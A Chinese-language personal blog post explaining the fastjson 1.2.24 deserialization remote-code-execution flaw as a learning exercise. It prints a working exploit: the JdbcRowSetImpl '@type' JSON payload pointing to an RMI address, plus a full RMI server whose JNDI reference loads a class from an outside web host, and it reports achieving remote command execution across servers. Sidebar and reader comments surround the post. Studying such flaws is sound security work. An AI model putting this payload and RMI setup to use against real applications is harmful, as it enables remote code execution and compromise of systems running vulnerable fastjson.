fastjson-1.2.24 反序列化漏洞浅析
学习自廖新喜大牛的博客,感谢这些乐于分享技术的大牛使得小白有机会学习
最近在学习Spring MVC,在开发中用到了一些JSON库,于是去了解到了一下这些库发生过的漏洞,发现jackson和fastjson在2017年都被爆出过多个代码执行漏洞。
首先了解一下json的序列化,我理解为把java对象转为json字符串,反序列化即为把json字符串转为java对象,例子如下
package jsontest; import com.alibaba.fastjson.JSON; public class Json { public static void main(String[] args) { User user = new User(1, "test"); String jsonUser = JSON.toJSONString(user); System.out.println(jsonUser); User user1 = JSON.parseObject(jsonUser, User.class); System.out.println(user1); } }
User类如下
package jsontest; public class User { private int id; private String name; public User() { System.out.println("hello"); } public User(int id, String name) { this.id = id; this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } }
而fastjson可以通过构造一个特殊的json在反序列化时候实例化设定的类并调用其set方法
String json = "{\"@type\":\"jsontest.User\",\"id\":233}"; User user = JSON.parseObject(json, User.class); System.out.println(user.getId());
当然也可以构造"{\"@type\":\"java.lang.Runtime\"}"这样子的,但是并不意味着可以直接用来执行命令
但是有大牛找到了com.sun.rowset.JdbcRowSetImpl这个类,十分巧妙的实现了远程代码执行,exp如下
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/PocTestClass\"," +" \"autoCommit\":true}"; JSON.parse(payload);
这里实际上是用了jndi注入,在blackhat2016上讲到的方法
为了理解写了个jndi注入的例子
package jndiInject; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIService { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("PocTestClass", "PocTestClass", "http://xia0yu.win/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("PocTestClass", referenceWrapper); } }
package jndiInject; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws NamingException { String uri = "rmi://localhost:1099/PocTestClass"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
了解jndi注入后再回来看这个exp
首先是调用setDataSourceName方法,调用抽象父类的setDataSourceName给dataSource赋值,这个值就是json里面dataSourceName的value:rmi://localhost:1099/PocTestClass
接着是调用setAutoCommit方法
conn默认为null所以进入connect方法
connect方法里面实现了jndi注入JNDIClient的代码,如下:
InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
最后是执行成功
然后用Spring写了个实例=、=|||
值得注意的是刚开始 RMIService 我无法在运行在自己服务器上远程调用,而网上的fastjson exp都是本地测试命令执行,很多rmi例子也只是本地运行的例子,去学习了解 rmi 后终于找到了原因。
运行rmi服务似乎必须设置java.rmi.server.hostname=yourIp才能实现远程服务的功能,例如:java -Djava.rmi.server.hostname=6.6.6.6 jndiInject/RMIService。
通过设置java.rmi.server.hostname后实现了真正的远程调用,通过json反序列化成功远程执行系统命令。
标签: 反序列化漏洞
你是衣冠楚楚的人 而我只是一个打满补丁的猴子
-
小博客一个,没必要伤害她
热门文章
存档
标签
最新评论
- yz
想想你喜欢什么,想做什么,找好一个自己的... - 小屿
@Jahan:testfun1024#p... - Jahan
Hello dear Xia0 i a... - brave
@万:你的手机应该是anroid7.0以... - jhsy
新版的cookie机制应该又变了. 而且... - 小屿
@janto:无兴趣 - janto
新版的这些好像不起作用了,deviceI... - hunk
正在研究,可否发一份新源码?todz$1... - miffy
请问可以加个好友咨询下吗? - vegetableChicken
@Snkrs:我也遇到和你一样的问题了,...
发表评论: